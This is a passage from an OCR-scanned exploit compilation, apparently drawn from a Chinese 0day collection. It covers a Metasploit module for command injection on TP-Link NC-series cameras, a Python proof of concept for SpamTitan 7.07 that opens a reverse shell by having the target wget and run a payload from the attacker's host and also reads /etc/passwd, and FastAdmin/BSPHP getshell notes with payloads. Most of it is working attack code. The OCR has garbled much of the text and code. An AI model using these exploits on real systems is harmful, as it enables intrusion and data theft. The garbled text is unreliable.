did not perform any validation when reading the alias name from

the

configuration file. The configuration file can be written, and
code

execution can be achieved by combining this issue with CVE-2020-
12110.

b

'Author' => ['Pietro Oliva <pietrolivalat]gmail.com>"'],

'License' => MSF_LICENSE,

'References' =>

[
[ "URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-

2020-12109"' 1,

[ '"URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-12109' 1],
[ '"URL', 'https://seclists.org/fulldisclosure/2020/May/2"' 1,
[ 'cve', '2020-12109']

I

'Disclosurebate' => '2020-04-29"',

'"Platform' => 'Tinux',

'"Arch' => ARCH_MIPSLE,

'Targets' =>

L

'TP-Link NC200, NC220, NC230, NC250',
{
'Arch' => ARCH_MIPSLE,
'"Platform' => 'linux',
'cmdstagerFlavor' => [ 'wget' ]
}
A e
[
'"TP-Link NC260, NC450',
{
'Arch' => ARCH_MIPSLE,
'"Platform' => 'Tinux',
'CmdstagerFlavor' => [ 'wget' ],
'Defaultoptions' => { 'SSL' => true }

]
A
'DefaultTarget' => 0

register_options(
[
optstring.new('USERNAME', [ true, 'The web interface username',
'admin' 1),
optString.new('PASSWORD', [ true, 'The web interface password for
the specified username', 'admin' ])
]
)

end

def login
user = datastore['USERNAME']



pass = Baseb64.strict_encode64(datastore['PASSWORD'])

if target.name == 'TP-Link NC260, NC450'
pass = Rex::Text.md5(pass)
end
print_status("Authenticating with #{user}:#{pass} ...")
begin

res = send_request_cgi ({
'uri' => '/login.fcgi',
'method' => 'POST',
'vars_post' => {
'Username' => user,
'Password' => pass
b
b
if res.nil? || res.code == 404
fail_with(Failure::NoAccess, '/login.fcgi did not reply correctly.
wWrong target ip?')
end
if res.body =~ /\"errorcode\"\:0/ & & res.headers.key?('Set-Cookie')
&& res.body =~ /token/
print_good("Logged-in as #{user}")
@cookie = res.get_cookies.scan(/\s?([A, ;]1+?)=([A, ;1*?)[;,]1/)[0]
[1]
print_good("Got cookie: #{@cookiel}")
@token = res.body.scan(/" (token)":"([A,"]1*)"/)[0][1]
print_good("Got token: #{@tokenl}")
else
fail_with(Failure: :NoAccess, "Login failed with #{user}:#{pass}")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Connection failed')
end
end

def enable_bonjour
res = send_request_cgi ({
'uri' => '/setbonjoursetting.fcgi',
'method' => 'POST',
'encode_params' => false,
'cookie' => "sess=#{@cookiel}",
'vars_post' => {
'bonjourstate' => '1"',
"token' => @token.to_s
3
3
return res
rescue ::Rex::ConnectionError
vprint_error("Failed connection to the web server at #{rhost}:#
{rport}")
return nil
end

def sys_name(cmd)
res = send_request_cgi ({
'uri' => '/setsysname.fcgi',
'method' => 'POST',
'encode_params' => true,



131 'cookie' => "sess=#{@cookiel}",

132 'vars_post' => {

133 'sysname' => cmd,

134 'token' => @token.to_s

135 }

136 1D

137 return res

138 rescue ::Rex::ConnectionError

139 vprint_error("Failed connection to the web server at #{rhost}:#
{rport}")

140 return nil

141 end

142

143 def execute_command(cmd, _opts = {})

144 print_status("Executing command: #{cmd}")

145 sys_name("$(#{cmd})")

146 end

147

148 def exploit

149 Togin # Get cookie and csrf token

150 enable_bonjour # Enable bonjour service

151 execute_cmdstager # Upload and execute payload

152 sys_name('NC200') # Set back an innocent-looking device name

153 end

154

155 end

33.SpamTitan 7.07%/RCEfEi

2 |~
3

4 Use python 3 and install the following modules before executing: requests.
5

6 If your IP is 192.168.1.5 and the target SpamTitan server is

7 spamtitan.example.com, call the PoC like this:

8 ./multirce.py -t spamtitan.example.com -i 192.168.1.5 -m <EXPLOIT

9 NUMBER> -u <USER> -p <PASSWORD> -U http://192.168.1.5/rev.py
10
DT | - —— =~ —— =~ — o — oo — i ————————————————
12
13 #!/usr/bin/env python
14

15 # Author: Felipe Molina (@felmoltor)

16 # Date: 09/04/2020

17 # python Version: 3.7

18 # Summary: This is PoC for multiple authenticated RCE and Arbitrary File
Read

19  # Odays on SpamTitan 7.07 and previous versions.

20 # Product URL: https://www.spamtitan.com/

21 # Product Version: 7.07 and probably previous

22

23 dmport requests

24 from requests import Timeout

25 requests.packages.urllib3.disable_warnings()

26 1import os


af://n1825

import threading

from optparse import OptionParser
import socket

import json

import re

from urllib.parse import urlparse

from time import sleep

from base64 import b64decode,b64encode

def myip(Q:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
# doesn't even have to be reachable
s.connect(('10.255.255.255", 1))
IP = s.getsockname()[0]
except:
IP = '127.0.0.1"'
finally:
s.close()
return IP

def shellserver(ip,port,quiet):
servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
servers.bind((ip, port))
servers.listen(1l)
info("waiting for incoming connection on %s:%s" % (ip,port))
conn, addr = servers.accept()
conn.settimeout(l)
success("Hurray, we got a connection from %s" % addr[0])

prompt =conn.recv(128)
prompt=str(prompt.decode("utf-8")).strip()
command = input(prompt)

while True:
try:
c = "%s\n" % (command)
if (len(c)>0):
conn.sendall(c.encode("utf-8"))
# Quit the console
if command == 'exit':
info("\nClosing connection")
conn.close()
break
else:
completeanswer=
while True:

nn

answer=None
try:
answer=str((conn.recv(1024)) .decode("utf-8"))
completeanswer+=answer
except socket.timeout:
completeanswer.strip()
break
print(completeanswer,end="'")
command = input("")
except (KeyboardInterrupt, EOFError):
info("\nClosing connection™)



85 break

86

87 # This is an authenticated remote code execution in "certs-x.php". E.g:
88 def CVvE_2020_11699(cookies, target, shellurl):

89 # Giving time to the maim thread to open the reverse shell listener
90 sleep(5)
91 oscmd="/usr/local/bin/wget %s -0 /tmp/r.py;/usr/Tocal/bin/python
92  /tmp/r.py" % (shellurl)
93 tl = "%s/certs.php" % target
94 t2 = "%s/certs-x.php" % target
95 # get the csrf token value
96 resl = requests.get(tl, cookies=cookies,verify=False)
97 m = re.search("var csrf_token_postdata
98 =.*CSRFName=(.*)&CSRFToken=(C.*)\";",resl.text)
99 if (m is not None):
100 csrfguard=m.group(1)
101 csrftoken=m.group(2)
102 data = {
103 "CSRFName":csrfguard,
104 "CSRFToken":csrftoken,
105 "jaction":"deletecert",
106 "fname":"dummy || $(%s)" % oscmd
107 }
108 info("Triggering the reverse shell in the target.")
109 try:
110 res2 =
requests.post(t2,data=data, cookies=cookies,verify=False)
111 print(res2.text)
112 except Timeout:
113 info("Request timed-out. You should have received already
114 your reverse shell.™)
115 else:
116 fail("CSRF tokens were not found. POST will fail.™)
117

118 # This is an arbitrary file read on "certs-x.php"
119 def CVvE_2020_11700(cookies,target,file):

120 fullpath="../../../..%s" % file

121

122 tl = "%s/certs.php" % target

123 t2 = "%s/certs-x.php" % target

124 # get the csrf token value

125 resl = requests.get(tl, cookies=cookies,verify=False)
126 m = re.search("var csrf_token_postdata
127 =.*CSRFName=(.*)&CSRFToken=(.*)\";",resl. text)
128 if (m is not None):

129 csrfguard=m.group(l)

130 csrftoken=m.group(2)

131 data = {

132 "CSRFName":csrfguard,

133 "CSRFToken":csrftoken,

134 "jaction":"downToadkey",

135 "fname": fullpath,

136 "commonname":"",

137 "organization":""

138 "organizationunit":"",

139 "city":"",

140 "state":"",

141 "country":"",



142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163

164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197

"csrout":"",

"pkout":"",

"importcert":"",

"importkey":"",
"importchain":""
3
res2 = requests.post(t2,data=data,cookies=cookies,verify=False)
if (res2.status_code == 200):
success("contents of the file %s" % file)
print(res2.text)
else:
fail("Error obtaining the CSRF guard tokens from the page.')
return False

# This is an authenticated RCE abusing PHP eval function in mailqueue.php
def CVE_2020_11803(cookies, target, shellurl):
# Giving time to the maim thread to open the reverse shell Tlistener
sleep(5)
oscmd="/usr/local/bin/wget %s -0 /tmp/r.py;/usr/Tocal/bin/python
/tmp/r.py" % (shellurl)
b64=(b64encode(oscmd.encode("utf-8"))).decode("utf-8")

payload="gotopage+a+\"; $b=\"%s\";shell_exec(base64_decode(uridecode($b)))
;die(); $b=\""
% (b64)
tl = "%s/certs.php" % target
t2 "%s/mailqueue.php" % target
# get the csrf token value
resl = requests.get(tl,cookies=cookies,verify=False)
m = re.search("var csrf_token_postdata
=.*CSRFName=(.*)&CSRFToken=(.*)\";",resl. text)
if (m is not None):
csrfguard=m.group(1)
csrftoken=m.group(2)
data = {
"CSRFName":csrfguard,
"CSRFToken":csrftoken,
"jaction":payload,
"activepage":"incoming",
"incoming_count":"0",
"active_count":"0",

"deferred_count":"0",
"hold_count":"0",
"corrupt_count":"0",
"incoming_page":"1",
"active_page":"1",
"deferred_page":"1",
"hold_page":"1",
"corrupt_page":"1",
"incomingrfilter":None,
"incomingfilter":None,
"incoming_option":"hold",
"activerfilter":None,
"activefilter":None,
"active_option":"hold",
"deferredrfilter":None,
"deferredfilter":None,
"deferred_option":"hold",



198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224

225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254

"holdrfilter":None,
"holdfilter":None,
"hold_option":"
"corruptrfilter":None,
"corruptfilter":None,

"corrupt_option":"delete"

release",

3
# wWe have to pass a string instead of a dict if we don't want
the requests library to convert it to
# an urlencoded data and break our payload
datastr=""
cont=0
for k,v in data.items():
datastr+="%s=%s" % (k,v)
cont+=1
if (cont<len(data)):
datastr+="&"
headers={
"User-Agent":"Mozilla/5.0 (windows NT 10.0; rv:68.0)
Gecko/20100101 Firefox/68.0",

"Accept":
"text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8",
"Content-Type": "application/x-www-form-urlencoded"
3
try:
res2 =

requests.post(t2,data=datastr,cookies=cookies,headers=headers,verify=False

,proxies=proxies)
except Timeout:
info("Request timed-out. You should have received already
your reverse shell.™)
else:
fail("CSRF tokens were not found. POST will fail.™)

# This is an authenticated RCE abusing qid GET parameter in mailqueue.php

def CVE_2020_11804(cookies, target, shellurl):
# Giving time to the maim thread to open the reverse shell listener
sleep(5)
oscmd="/usr/local/bin/wget %s -0 /tmp/r.py;/usr/Tocal/bin/python
/tmp/r.py" % (shellurl)
payload="1; %s " % oscmd
t = "%s/mailqueue.php?qid=%s" % (target,payload)
info("Triggering the reverse shell in the target.™)
try:
res2 = requests.get(t,cookies=cookies,verify=False)
except Timeout:
info("Request timed-out. You should have received already your
reverse shell."™)

# Authenticate to the web platform and get the cookies
def authenticate(target,user,password):
Toginurl="%s/login.php" % target
data={
"jaction":"none",
"language":"en_us",
"address":"%s" % user,
"passwd":"%s" % password



255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312

res = requests.post(loginurl, data=data,allow_redirects =
False,verify=False)
if (res.status_code == 302 and len(res.cookies.items())>0):
return res.cookies
else:
return None

def printmsg(msg,quiet=False,msgtype="1i"):
if (not quiet):
if (success):
print("[%s] %s" % (msgtype,msg))
else:
print("[-] %s" % msg)

def info(msg,quiet=False):
printmsg(msg,quiet,msgtype="1")

def success(msg,quiet=False):
printmsg(msg,quiet,msgtype="+")

def fail(msg,quiet=False):
printmsg(msg,quiet,msgtype="-")

def parseoptions():
parser = OptionParser()
parser.add_option("-t", "--target", dest="target",
help="Target SpamTitan URL to attack. E.g.:
https://spamtitan.com/", default=None)
parser.add_option("-m", "--method", dest="method",
help="Exploit number: (1) CVE-2020-11699 [RCE],
(2) CVE-2020-XXXX [RCE], (3) CVE-2020-xxxX2 [RCE], (4) CVE-2020-11700
[File Read]", default=1)
parser.add_option("-u", "--user", dest="user",
help="Username to authenticate with. Default:
admin", default="admin")
parser.add_option("-p", "--password", dest="password",
help="Password to authenticate with. Default:
hiadmin", default="hiadmin")
parser.add_option("-1", "--ip", dest="ip",
help="Local IP where to listen for the reverse
shell. Default: %s" % myip(), default=myip(Q))
parser.add_option("-P", "--port", dest="port",
help="Local Port where to listen for the reverse
shell. Default: 4242", default=4242)
parser.add_option("-u", "--URL", dest="shellurl",
help="HTTP URL path where the reverse shell is
Tocated. Default: http://%s/rev.py" % myip(Q),
default="http://%s/rev.py" % myip())
parser.add_option("-f", "--filetoread", dest="filtetoread",
help="Full path of the file to read from the
remote server when executing CVE-2020-11700. bDefault: /etc/passwd",
default="/etc/passwd")
parser.add_option("-q", "--quiet",
action="store_true", dest="quiet", default=False,
help="Shut up script! Just give me the shell.")

return parser.parse_args()
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def main(Q:
(options,arguments) = parseoptions()
quiet = options.quiet
target = options.target
ip = options.ip
port = options.port
user = options.user
password = options.password
shellurl = options.shellurl
method = int(options.method)
rfile = options.filtetoread

# Sanitize options
if (target is None):
fail("Error. Specify a target (-t).")
exit(l)
else:
if (not target.startswith("http://") and not
target.startswith("https://")):
target = "http://%s" % target

if (method < 1 or method > 4):
fail("Error. Specify a method from 1 to 4:\n (1)
CVE-2020-11699 [RCE]\n (2) CVE-2020-XXXX [RCEJ\n (3) CVE-2020-XXXX2
[RCEJ\n (4) CVE-2020-11700 [File Read]™)
exit(l)

# Before doing anything, Togin
cookies = authenticate(target,user,password)
if (cookies is not None):
success("User logged in successfully.")
if (method == 1):
info("Exploiting CVE-2020-11699 to get a reverse shell on
%s:%s" % (ip,port),quiet)
rev_thread = threading.Thread(target=CvE_2020_11699,
args=(cookies,target,shellurl))
rev_thread.start()
# Open the reverse shell listener in this main thread
info("Spawning a reverse shell listener. wait for it...")
shellserver(options.ip,int(options.port),options.quiet)
elif (method == 2):
info("Exploiting CVE-2020-11803 to get a reverse shell on
%s:%s" % (ip,port),quiet)
rev_thread = threading.Thread(target=CvE_2020_11803,
args=(cookies,target,shellurl))
rev_thread.start()
# Open the reverse shell listener in this main thread
info("Spawning a reverse shell listener. wait for it...")
shellserver(options.ip,int(options.port),options.quiet)
elif (method == 3):
info("Exploiting CVE-2020-11804 to get a reverse shell on
%s:%s" % (ip,port),quiet)
rev_thread = threading.Thread(target=CvE_2020_11804,
args=(cookies,target,shellurl))
rev_thread.start()
# Open the reverse shell listener in this main thread
info("Spawning a reverse shell listener. wait for it...")
shellserver(options.ip,int(options.port),options.quiet)



371 elif (method == 4):

372 info("Reading file '%s' by abusing CVE-2020-11700." % rfile,
quiet)

373 CVE_2020_11700(cookies,target,rfile)

374 else:

375 fail("Error authenticating. Are you providing valid credentials?")

376 exit(2)

377

378 exit(0)

379

380 mainQ)

34.BSPHPTE{ERIENLAIE

iZAbitRAY AR P2 NE RGP

1 /admin/index.php?
m=admin&c=1og&a=table_json&json=get&soso_ok=1&t=user_login_log&page=1&1imit=1
0&bsphptime=1600407394176&soso_id=1&s0s0=&DESC=0

JSON  [RIGEE
RE % 2R WERF VW iTiE JSON

v data:

v 0:
key: "68"
id: "68"
user: "ga3"
date: "2019-12-22 21:49"
ip: {5 | "F
test: "ERAEEG"

v 1:
key: "e7"
id: "e7"
user: "go1"
date: "72419-11-16 19:04"
ip: b o e b "
test: "ERABEEG"

v 2:
key: "66"
id: "66"
user: "oo1"
date: "2019-11-16 19:01"
ip: | SR
test: "ERAEBEL"

v 3:
key: "65"
id: "65"
user: "o@a2"
date: "2019-11-16 16:39"
ip: B s s ™ "
test: EREEG"

v 4:
key: "64"
id: "e4"
user: "002"
date:  "2019-11-16 16:29" 1D Lah

ip: R M s & '
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AUTR: FHERRFEM

RRRE: BEEEsnameSEis \BlfetchiRig, fetchRELE ThinkPHPREITERRAVREL, BESISHRELE
PHP, FRLUERLRCE, BEiZ EIERIHHETATLATEREIX

O & -
v fastadmin _emp|

addons

application

extend

public

runtime

& .bowerrc

[&] Project v README.md

build.php

Cookie: :

B
Hook: :add(

Cookie: :

Cookie

PRI,

thinl

LooKi1e: :aetetel

delete(

delete(

::delete(

Frontend.php Addon.php

12

TV k% sEY,

env.sample »

4 gitignore

) bower.json
build.php

) composer.json
LICENSE
README.md
think

p Scratches and Consoles

> il ShE 8 : Eengley((Snane)
= Hook: :listen(
(

-> ->assign(

-> ->fetch(

PhoRB AR S ERIR AR AER, FINEREXHEEHSERNPHPEORD S FEMMHA:
{EFAphptres

B4

{php}echo 'Hello,world!";{/php}

BNNRNFEEAPHPRBHRER EXAphpitd, RARENPHPIEEAT ESKAERAMSBRTER.

£ ARIREphpfti3

<?php echo 'Hello,world!"; ?>
ER phpinE S EphpRIBEER T EBRFERRE (BEFEEEREMXMURE) 7, ETENLFA IR TR

PhpRIB AT LA R AR S iR & 5 A, T LMERER UG EE T SERRIPAAE, 8 TEAMS
{EAphpirRes

fan:

phpjecho'Hello,world!;/php

B X FEERPHPRARHRRERBhpE, B ARERPHPIAI SESRECERAMSEEITEIR.
{ERAREphpi3

<?phpecho'HelLo,world!?
ERphpirESaE MR EEN AL BERTS( B ERIRENAN 7 B TE UM E ST

FrlApayload:
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R, U A EEES

> {php}phpinfo();[/php]

o AR

> Public/index/user/_empty?name=../public/upload/xxx.jpg
RirTgetshell

vi A W N R

KR https://www.yugque.com/docs/share/ad8192ca-39ec-4950-86e9-01dfad89bf6f?# (3
gf34) (HW2020 - Oday&=i4s)

FETIES, MHFISEFR.
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